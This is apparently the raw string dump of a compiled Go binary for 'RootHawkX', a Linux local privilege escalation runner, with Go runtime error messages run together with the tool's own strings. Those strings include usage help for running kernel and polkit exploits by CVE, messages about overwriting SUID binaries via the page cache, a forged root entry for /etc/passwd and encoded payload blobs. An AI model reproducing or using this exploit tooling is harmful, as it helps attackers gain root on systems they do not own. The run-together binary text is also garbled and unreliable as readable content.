timereflect.methodValueCalloperation not permittedinterrupted system calldevice or resource busyno space left on deviceoperation not supportedCPU time limit exceededprofiling timer expired23283064365386962890625bytes.Buffer: too large", missing CPU support exit hook invoked panicpattern bits too long: invalid escape sequenceflate: internal error: exec: Stdout already setroothawk-cve-2021-4034-*Opening '%s' for read...Writing to dirty pipe...Determining pipe size...Pipe creation failed: %vinvalid line: no command/usr/share/lib/zoneinfo/tracecheckstackownershipwaiting for cgo callbackhash of unhashable type cannot open standard fdsspan has no free objectsruntime: found obj at *(/cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsruntime: epollctl failed [recovered, repanicked]stack trace unavailable runtime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartfunction not implementedlevel 2 not synchronizedlink number out of rangeout of streams resourcesconnection reset by peerstructure needs cleaningfloating point exceptionfile size limit exceeded116415321826934814453125582076609134674072265625invalid argument to Intnzlib: invalid dictionaryinvalid pattern syntax: flate: maxBits too largeDirty Frag, aka CopyFail2context deadline exceeded/proc/sys/kernel/hostnameAuthenticated as %s (%s)![0-9]+\.[0-9]+(\.[0-9]+)*Write of '%s' successful!roothawk-cve-2026-43284-*roothawk-cve-2026-43503-*roothawk-cve-2026-46300-*roothawk-cve-2026-46331-*roothawk-cve-2026-46333-*2006-01-02T15:04:05Z07:00goroutine profile cleanupGOMAXPROCS updater (idle)chansend: spurious wakeup when attempting to open runtime·lock: lock countbad system huge page sizearena already initialized to unused region of spanunaligned sysNoHugePageOS/sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersnoscan object in scanSpanruntime: epollwait on fd slice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartno such file or directoryno such device or addressinvalid cross-device linkresource deadlock avoidedsocket type not supportedno buffer space availableoperation now in progressinconsistent poll.fdMutex2910383045673370361328125Error parsing version: %shash of unhashable type: GODEBUG: can not enable "impossible cgroup version RootHawkX -any [options]su: Authentication failureSocket creation failed: %vSetsockopt(key) failed: %v%s executing DirtyDecrypt /proc/sys/kernel/osreleaseunknown ABI parameter kindall goroutines stack traceSIGSTOP: stop, unblockableGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)invalid use of gostartcallshrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryno message of desired typeno CSI structure availableinvalid request descriptorname not unique on networkrequired key not available1455191522836685180664062572759576141834259033203125invalid argument to Int63ninvalid argument to Int31ninvalid boolean flag %s: %vflag needs an argument: -%sinconsistent process statusos: unsupported signal typeos: process not initializedPackage '%s' was installed!PinTheft compile failed: %w is not assignable to type reflect.Value.UnsafePointerPageCachePagesLeaked (test)SIGILL: illegal instructionSIGXCPU: cpu limit exceededmakechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime·unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsignal received during forksigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2timer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendnot a XENIX named type filekey was rejected by service363797880709171295166015625BoundsDecode decoding errorabi.NewName: tag too long: httpservecontentkeepheadersexpression nests too deeplypolkit authentication bypassPolkit Authentication Bypass RootHawkX -e CVE-2022-0847[+] RootHawkX supported CVEsos: process already finishedos: process already releasedUnsupported architecture: %s%s executing CVE-2026-43284 %s executing CVE-2026-43503 %s executing CVE-2026-46331 %s executing CVE-2026-46333 unsupported compression for SIGHUP: terminal line hangupSIGWINCH: window size changeGC mark assist wait for workcomparing uncomparable type notewakeup - double wakeup (region exceeds uintptr range/gc/cleanups/queued:cleanups/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutines/sched/threads/total:threadsgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span fatal: morestack on gsignal runtime: casgstatus: oldval=gcstopm: negative nmspinningfindRunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largeprotocol driver not attachedfile descriptor in bad statedestination address required18189894035458564758300781259094947017729282379150390625abi.NewName: name too long: invalid path escape sequenceinternal RootHawk worker modepkexec path for CVE-2021-4034exec: Wait was already calledPolkit version is vulnerable!Zlib decompression failed: %vFailed to execute payload: %vsync.WaitGroup.Wait (durable)SIGPIPE: write to broken pipeSIGPWR: power failure restartexecuting on Go runtime stackruntime: mmap: access denied /cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: marking free object scanObject of a noscan objectaddspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=runtime: eventfd failed with tried to unpin non-Go pointerruntime: sudog with non-nil centersyscall inconsistent bp entersyscall inconsistent sp gfput: bad status (not Gdead)LockOSThread nesting overflowsemacquire not on the G stackruntime: split stack overflowstring concatenation too longinvalid function symbol tabletrace: reading after shutdownruntime: traceback stuck. pc=tried to trace dead goroutineruntime: impossible type kindtoo many open files in systemnumerical result out of rangemachine is not on the networkprotocol family not supportedoperation already in progressno XENIX semaphores available45474735088646411895751953125fixedFtoa: pow10 out of rangeinvalid character class rangeverbose output where supportederrSymlink is not user-visibleruntime.AddCleanup: ptr is nilstrings: negative Repeat countunexpected data in /etc/passwdfailed to read target file: %wSplice (File->Pipe) failed: %vFailed to open target file: %v%s compiling PinTheft with %s reflect: Elem of invalid type reflect: Len of non-array typecalled entry on non-entry nodeMapIter.Key called before Nextassignment to entry in nil mapSIGUSR1: user-defined signal 1SIGUSR2: user-defined signal 2SIGVTALRM: virtual alarm clockSIGPROF: profiling alarm clock (types from different scopes)failed to get system page sizeruntime: found in object at *( in prepareForSweep; sweepgen is reachable from finalizer /cpu/classes/total:cpu-seconds/gc/cleanups/executed:cleanups/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/runtime: epollctl failed with panic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue is not fullruntime: bad pointer in frame invalid pointer found on stack locals stack map entries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeinappropriate ioctl for devicesocket operation on non-socketprotocol wrong type for socketmemory page has hardware error227373675443232059478759765625sync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "runtime: cgroup buffer length target does not look vulnerablefmt: unknown base; can't happenpattern contains path separatorfailed to create dirty pipe: %wSetsockopt(authsize) failed: %vDirtyDecrypt compile failed: %wmalformed time zone informationreflect: Len of non-array type slice bounds out of range [:%x]slice bounds out of range [%x:]SIGSEGV: segmentation violationcall from within the Go runtimeinternal error - misuse of itabruntime: uninitialized listHead) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked object/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytes (checking for goroutine leaks)steal with local work availablepacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedfatal: bad g in signal handler signal_recv: inconsistent stateruntime: split stack overflow: ...additional frames elided... unsafe.String: len out of range.lib section in a.out corruptedcannot assign requested addressinvalid return from write: got 11368683772161602973937988281255684341886080801486968994140625mergeRuneSets odd length []runeencoding/hex: invalid byte: %#U RootHawkX -e CVE-2026-43284 -vpidStatus called in invalid modeAttempting escalation to root...CVE-2021-4034 compile failed: %wKernel version %s is vulnerable!Splice (Pipe->Socket) failed: %vsync: Unlock of unlocked RWMutexMapIter.Value called before Nextslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::]SIGFPE: floating-point exceptionSIGTTOU: background write to tty (types from different packages)end outside usable address space/gc/finalizers/queued:finalizersruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = _cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnednon-Go code disabled sigaltstackruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueresource temporarily unavailablenumerical argument out of domainsoftware caused connection abortuse of closed network connection28421709430404007434844970703125initial table capacity too large" not supported for cpu option "bufio: tried to fill full bufferinvalid value %q for flag -%s: %vbytes.Buffer.Grow: negative countauthencesn(hmac(sha256),cbc(aes))CVE-2026-43284 compile failed: %wCVE-2026-43503 compile failed: %wCVE-2026-46300 compile failed: %wCVE-2026-46331 compile failed: %wCVE-2026-46333 compile failed: %wreflect: slice index out of rangesync: RUnlock of unlocked RWMutex of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeslice bounds out of range [%x:%y]SIGCHLD: child status has changedSIGTTIN: background read from ttySIGXFSZ: file size limit exceededbase outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAlloc/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: epollcreate failed with runtime: morestack on g0, stack [runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindRunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangeskip everything and stop the walktoo many levels of symbolic linkswaiting for unsupported file type142108547152020037174224853515625710542735760100185871124267578125fixedFtoa called with digits > 18concurrent map read and map writetable must have positive capacityGODEBUG: no value specified for "regexp: unhandled case in compileleafCounts[maxBits][maxBits] != nPolkit D-Bus Authentication Bypasslist supported CVE exploit entriesflag provided but not defined: -%sexecutable file not found in $PATHAttempting to set user password...Attempting to set root password...%s compiling DirtyDecrypt with %s invalid line: no bracketed sectionreflect: Field of non-struct type reflect: Field index out of boundsreflect: string index out of rangeslice bounds out of range [:%x:%y]slice bounds out of range [%x:%y:]SIGURG: urgent condition on socketruntime: standard file descriptor out of memory allocating allArenas... too many potential issues ... /gc/finalizers/executed:finalizers/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass attempt to drain too many elementsspmc capacity must be a power of 2too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: netpollBreak write failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inconsistent bp entersyscallblock inconsistent sp runtime: g is running but p is notinvalid timer channel: no capacitytoo many references: cannot splice3552713678800500929355621337890625Attempting authentication as %s...invalid nested repetition operatorinvalid or unsupported Perl syntax -v Verbose outputrequired packages are not available%s compiling CVE-2021-4034 with %s failed to overwrite target file: %w2006-01-02T15:04:05.999999999Z07:00persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedruntime: span inline mark bits nil?mismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockfindRunnable: netpoll with spinningpidleput: P has non-empty run queuefake timer executing with no bubbletraceback did not unwind completelynetwork dropped connection on resettransport endpoint is not connectedfile type does not support deadline1776356839400250464677810668945312588817841970012523233890533447265625os/signal: Notify using nil channelencoding/hex: odd length hex stringflate: corrupt input before offset Linux kernel LPE via pipe mechanism.invalid boolean value %q for -%s: %vstrings.Builder.Grow: negative countstrings: Join output length overflowUser '%s' was created with UID (%s)!Finished attempting to set password.Restoring contents of /etc/passwd...%s compiling CVE-2026-43284 with %s %s compiling CVE-2026-43503 with %s %s compiling CVE-2026-46331 with %s method ABI and value ABI don't alignlfstack node allocated from the heap) is larger than maximum page size (objects with pointers must be zeroedruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0Scan trace for cleanup/finalizer on /memory/classes/metadata/other:bytes/sched/goroutines/running:goroutines/sched/goroutines/waiting:goroutines/sched/goroutines-created:goroutines/sched/pauses/stopping/other:secondsspanQueue.destroy on non-empty queueuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: netpoll: eventfd ready for runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackfatal: recursive switchToCrashStack startm: P required for spinning=true) is not Grunnable or Gscanrunnable updateMaxProcsGoroutine: phase errorruntime: bad notifyList size - sync=signal arrived during cgo execution accessed data from freed user arena runtime: wrong goroutine in newstackruntime: invalid pc-encoded table f=accessing a corrupted shared library4440892098500626161694526672363281250123456789abcdefghijklmnopqrstuvwxyzinvalid pattern syntax (+ after -): cannot create context from nil parentreflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arraymethod ABI and value ABI do not alignruntime: allocation size out of range) is smaller than minimum page size (/cpu/classes/gc/mark/idle:cpu-seconds/sched/goroutines/runnable:goroutinessetprofilebucket: profile already setfailed to reserve page summary memory_cgo_notify_runtime_init_done missingfatal: concurrent switchToCrashStack bad oldval passed to castogscanstatusstartTheWorld: inconsistent mp->nextpCouldn't put Gs into empty local runqruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!value too large for defined data typecannot exec a shared library directlyoperation not possible due to RF-kill2220446049250313080847263336181640625godebug: unexpected IncNonDefault of runtime: cgroup invalid buffer lengthbisect.Hash: unexpected argument typeflag %s set at %s before being definedstrings: Repeat output length overflowapt info policykit-1 | grep 'Version:'su not found in PATH and not at %s: %wUnsupported architecture for -exec: %sindex out of range [%x] with length %ymakechan: invalid channel element typeunreachable method called. linker bug?not enough heapRandSeed bits remaining/sched/goroutines/not-in-go:goroutinesgcBgMarkWorker: blackening not enabledcannot read stack of running goroutineruntime: blocked read on free polldescgp.xRegState.p != nil on async preemptruntime: sudog with non-false isSelectarg size to reflect.call more than 1GBv could not fit in traceBytesPerNumbercan not access a needed shared library1110223024625156540423631668090820312555511151231257827021181583404541015625concurrent map iteration and map write RootHawkX -e [options]exec: environment variable contains NUL2006-01-02 15:04:05.999999999 -0700 MSTmismatched count during itab table copyout of memory allocating heap arena map/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesspanQueue.destroy during the mark phasemspan.sweep: bad span state after sweepruntime: blocked write on free polldescruntime.Pinner: object already unpinnedsuspendG from non-preemptible goroutineruntime: casfrom_Gscanstatus failed gp=attempted to release P into a bad statestack growth not allowed in system calltraceback: unexpected SPWRITE function traceRegion: alloc with concurrent droptransport endpoint is already connectedSetctty set but Ctty not valid in childsyscall.releaseForkLock: negative count277555756156289135105907917022705078125missing argument to repetition operatortrailing backslash at end of expressionexecute one exploit by CVE name or alias -help Show this help menutime: Stop called on uninitialized TimerAttempting authentication as new user...%s executing CVE-2026-46300 (Fragnesia) MapIter.Key called on exhausted iteratorinvalid span in heapArena for user arenabulkBarrierPreWrite: unaligned argumentsruntime: typeBitsBulkBarrier with type refill of span with free space remaining/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime: out of memory: cannot allocate runtime: netpollBreak write failed with stopTheWorld: broken CPU time accountingglobal runq empty with non-zero runqsizemust be able to track idle limiter eventgoroutine stack size is not a power of 2address family not supported by protocol13877787807814456755295395851135253906256938893903907228377647697925567626953125Polkit pkexec local privilege escalation. -list List integrated CVEsunexpected call to os.Exit(0) during testwrite partially failed - %d bytes written[%s]can't call pointer on a non-pointer ValueMapIter.Next called on exhausted iterator closed, unable to open /dev/null, errno=runtime: pointer to heap type header nil?runtime: typeBitsBulkBarrier without typeWARNING: LIKELY CLEANUP/FINALIZER ISSUES /memory/classes/metadata/mspan/free:bytesruntime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to add zero-sized address rangeruntime: blocked read on closing polldescstopTheWorld: not stopped (stopwait != 0) received on thread with no signal stack invalid timer: fake time but no syncgroupclone(CLONE_PIDFD) failed to return pidfd34694469519536141888238489627838134765625strconv: illegal AppendInt/FormatInt basebytes.Buffer.WriteTo: invalid Write countbytes.Reader.WriteTo: invalid Write countLinux Kernel COW Bug (net/sched act_pedit)runtime.AddCleanup: ptr is arena-allocatedSampling timing of password set command...Overwriting page cache of %s with %d bytessync/atomic: store of nil value into ValueMapIter.Value called on exhausted iterator bytes; incompatible with mutex flag mask persistentalloc: align is not a power of 2/cpu/classes/gc/mark/dedicated:cpu-seconds/memory/classes/metadata/mcache/free:bytes/memory/classes/metadata/mspan/inuse:bytesnon-empty mark queue after concurrent marksweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireSudog: found s.elem != nil in cachefatal error: cgo callback before cgo call on a locked thread with no template threadunexpected signal during runtime execution received but handler not on signal stack stop of synctest timer from outside bubbletraceStopReadCPU called with trace enabledattempted to trace a bad status for a procout of memory allocating checkmarks bitmap173472347597680709441192448139190673828125867361737988403547205962240695953369140625internal error: call to runtimeSource.Seedexec: WaitDelay expired before I/O completeSampling timing of user creation command...multiple Read calls return no data or errorruntime: opened unexpected file descriptor /memory/classes/metadata/mcache/inuse:bytesruntime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundroot level max pages doesn't fit in summaryruntime.Pinner: argument is not a pointer: runtime: releaseSudog with non-nil gp.paramunknown runnable goroutine during bootstrapruntime: casfrom_Gscanstatus bad oldval gp=runtime:stoplockedm: lockedg (atomicstatus=methodValueCallFrameObjs is not in a modulesynctest timer accessed from outside bubbleinterrupted system call should be restartedbufio: tried to rewind past start of bufferreflect: funcLayout with interface receiver span on userArena.faultList has invalid sizesend on synctest channel from outside bubbleout of memory allocating heap arena metadataruntime: cannot remap pages in address space/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbiddencannot trace user goroutine on its own stackunsafe.Slice: ptr is nil and len is not zeroexecute every supported exploit in list ordercontext: internal error: missing cancel errorhandleTransientAcquire called in invalid modehandleTransientRelease called in invalid modereflect: internal error: invalid method indexclose of synctest channel from outside bubble may be in the same tiny block as finalizer transitioning GC to the same state as before?produced a trigger greater than the heap goaltried to run scavenger from another goroutineruntime: failed mSpanList.remove span.npages=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocannot send after transport endpoint shutdownLinux local privilege escalation runner v1.1.0runtime.AddCleanup: ptr not in allocated blockAttempting to install '%s' by forcing UID=0...failed to force install of '%s' via packagekit%s compiling CVE-2026-46333 (%s mode) with %s slice bounds out of range [:%x] with length %ypanicwrap: unexpected string after type name: memory reservation exceeds address space limitfailed to put span on newly-allocated spanSPMCtried to park scavenger from another goroutinereleased less than one physical page of memorysysGrow bounds not aligned to pallocChunkBytesruntime: failed to create new OS thread (have runtime: panic before malloc heap initialized stopTheWorld: not stopped (status != _Pgcstop)select on synctest channel from outside bubbleruntime: name offset base pointer out of rangeruntime: type offset base pointer out of rangeruntime: text offset base pointer out of rangeboth Setctty and Foreground set in SysProcAttrinvariant failed: growthLeft is unexpectedly 0unexpected error wrapping poll.ErrFileClosing: %s executing CVE-2021-4034 with pkexec path %s [+]reflect.Value.Bytes of unaddressable byte arrayslice bounds out of range [::%x] with length %yreceive on synctest channel from outside bubbleruntime·lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineracy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesbufio: reader returned negative count from Read%s compiling CVE-2026-46300 (Fragnesia) with %s slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argument runtime: cannot map pages in arena address spaceruntime: malformed profBuf buffer - invalid sizeruntime: taggedPointerPack invalid packing: ptr=attempt to trace invalid or unsupported P statusstrconv: illegal AppendFloat/FormatFloat bitSizebufio: writer returned negative count from Write RootHawkX -e CVE-2026-31431 -backup /tmp/su.bakstrings.Reader.WriteTo: invalid WriteString countslice bounds out of range [::%x] with capacity %yinvalid memory address or nil pointer dereferencepanicwrap: unexpected string after package name: s.allocCount != s.nelems && freeIndex == s.nelemssweeper left outstanding across sweep generationsfully empty unfreed span set block found in resetcasgstatus: waiting for Gwaiting but is Grunnableinvalid or incomplete multibyte or wide characterAttempting to create user '%s' by forcing UID=0...Sampling timing of package installation command...mallocgc called with gcphase == _GCmarkterminationruntime.Pinner: object was allocated into an arenaruntime.Pinner: decreased non-existing pin countergp.xRegState.p == nil on return from async preemptrecursive call during initialization - linker skewattempt to execute system stack code on user stackinternal error: too many releases of process handlelimiterEvent.stop: invalid limiter event type foundpotentially overlapping in-use allocations detectedfatal: systemstack called from unexpected goroutinegodebug: Value of name not listed in godebugs.All: user: Current requires cgo or %s set in environmentbackup path for CVE-2026-31431 before overwriting suunknown exploit %q, use -list to see supported namesfailed to correctly flush all P-owned cleanup blocksruntime: cannot disable permissions in address spaceruntime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Init span set block with unpopped elements found in resetcasfrom_Gscanstatus: gp->status is not in scan statenon-concurrent sweep failed to drain all sweep queuesexited a goroutine internally locked to the OS threadsmall map with no empty slot (concurrent map writes?) -any Execute all exploits sequentiallypanic calling String method on zero %v for flag %s: %vcannot write to an offset aligned with a page boundaryruntime.m memory alignment too small for spinbit mutexmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not enabledno goroutines (main called runtime.Goexit) - deadlock!trace: non-empty full trace buffer for done generationtrace: non-empty full trace buffer for next generation goroutine running on other thread; stack unavailable bytes.Buffer: reader returned negative count from Readinternal error: negative process handle reference count$5$roothawk$hR5C1DUTiTY7hnxUoBtsXCKu4BDN2ejfTGwrQbBcSS.reflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan stateLinux kernel LPE via net/skbuff shared fragment cloning. ____ __ __ __ __ _ __ / __ \____ ____ / /_/ / / /___ __ __/ /_| |/ / / /_/ / __ \/ __ \/ __/ /_/ / __ `/ | /| / / //_/ / / _, _/ /_/ / /_/ / /_/ __ / /_/ /| |/ |/ / ,< / | /_/ |_|\____/\____/\__/_/ /_/\__,_/ |__/|__/_/|_/_/|_| strings: illegal use of non-zero Builder copied by valueCVE-2021-4034 needs gcc or cc on the target Linux VM: %wPinTheft needs gcc or cc on the target Linux machine: %wnon-empty pointer map passed for non-pointer-size valuesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: netpoll: eventfd ready for something unexpectedcannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=runtime: failed to disable profiling timer; timer_delete(non-Go code set up signal handler without SA_ONSTACK flagPolkit LPE via D-Bus requests bypassing credential checks.GODEBUG=execwait=2 detected a leaked exec.Cmd created by: Average time for password set to fail authentication is %sCVE-2026-43284 needs gcc or cc on the target Ubuntu VM: %wAverage time for user creation to fail authentication is %sroot:$1$roothawk$r35.SJ5XwEPfqBkwl4zJM1:0:0::/root:/bin/sh unknown target %q for CVE-2026-46333. Use 'key' or 'shadow'sync/atomic: store of inconsistently typed value into Valuereflect: reflect.Value.Elem on an invalid notinheap pointerruntime: mmap: too much locked memory (check 'ulimit -l'). tried to trace goroutine with invalid or unsupported statusDirtyDecrypt needs gcc or cc on the target Linux machine: %wreflect: call of reflect.Value.Len on ptr to non-array Valuemanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: failed to configure profiling timer; timer_settime(runtime: malformed profBuf buffer - tag and data out of syncruntime.AddCleanup: ptr is within arg, cleanup will never runexec: Cmd started a Process but leaked without a call to WaitAverage time for package install to fail authentication is %s is in a tiny block with other (possibly long-lived) values runtime: may need to increase max user processes (ulimit -u) CVE-2026-43503 needs gcc or cc on the target Linux machine: %wCVE-2026-46300 needs gcc or cc on the target Linux machine: %wCVE-2026-46331 needs gcc or cc on the target Linux machine: %wCVE-2026-46333 needs gcc or cc on the target Linux machine: %wreflect: reflect.Value.Pointer on an invalid notinheap pointerfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop: found wrong event in p's limiter event slotruntime: internal error: misuse of lockOSThread/unlockOSThreadruntime.AddCleanup: ptr is equal to arg, cleanup will never runinternal/sync.HashTrieMap: ran out of hash bits while iterating may be in the same tiny block as cleanup or cleanup argument malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`0000000000000000000000000000000000000000000000000000000000000000 runtime.SetFinalizer: first argument was allocated into an arenaattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime.SetFinalizer: pointer not at beginning of allocated blockCVE-2026-31431: command path to run as root instead of spawning suruntime: unexpected error while checking standard file descriptor casGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerrefill of span with reusable pointers remaining on pointer free listAllThreadsSyscall6 results differ between threads; runtime corruptedruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?Linux kernel LPE exploiting crypto / AF_ALG / algif_aead logical flaws.exec: command with a non-nil Cancel was not created with CommandContexttoo many concurrent operations on a single file or socket (max 1048575)Linux kernel LPE via net/sched act_pedit to overwrite kernel dirty data.specify a target function/module (e.g. shadow or key for CVE-2026-46333)runtime.Goexit called in a thread that was not created by the Go runtime -e Execute specific CVE by name (e.g. -e CVE-2022-0847)Linux kernel LPE involving xfrm/esp and shared skb frags in network stack. -backup Path to backup su before execution for CVE-2026-31431runtime.AddCleanup: cleanup function closes over ptr, cleanup will never runPackage '%s' is not installed, trying to force installation via packagekit...MapIter.Next called on an iterator that does not have an associated map Valuecannot convert slice with length %y to array or pointer to array with length %x -pk Path to pkexec for CVE-2021-4034 (default: /usr/bin/pkexec)[!] No target specified, defaulting to 'key'. Use -target shadow for /etc/shadow. (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race) expected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Interface: cannot return value obtained from unexported field or methodreflect: New of type that may not be allocated in heap (possibly undefined cgo C type) -exec Command path to run as root instead of spawning su for CVE-2026-31431 -target Specify target module/function (e.g., key or shadow for CVE-2026-46333)Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored.Linux kernel LPE exploiting XFRM ESP-in-TCP subsystem flaw to overwrite /usr/bin/su via page cache.cgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.[!] CVE-2026-43503 modifies page cache of a SUID binary. Reboot or restore the backup file to clean up.[!] CVE-2026-46331 modifies page cache of a SUID binary. Reboot or restore the backup file to clean up.Linux kernel LPE (CVE-2026-31635) utilizing rxgk_decrypt_skb() missing COW protection for page cache overwrite.[!] PinTheft modifies page cache of a SUID binary. Reboot or restore the backup file printed above to clean up.internal/sync.HashTrieMap: ran out of hash bits while inserting (incorrect use of unsafe or cgo, or data race?)Linux kernel LPE race condition in process exit path allowing info disclosure. Use -target shadow or -target key.[!] DirtyDecrypt modifies page cache of a SUID binary. Reboot or restore the backup file printed above to clean up.[!] This module may contaminate page cache; reboot or run `echo 3 > /proc/sys/vm/drop_caches` as root after testing.Linux kernel LPE (CVE-2026-43494) utilizing RDS zerocopy double-free + io_uring page cache overwrite for a root shell. --------------------------------------------------------------------------------------------------------------------------------================================================================================================================================789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf--system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts 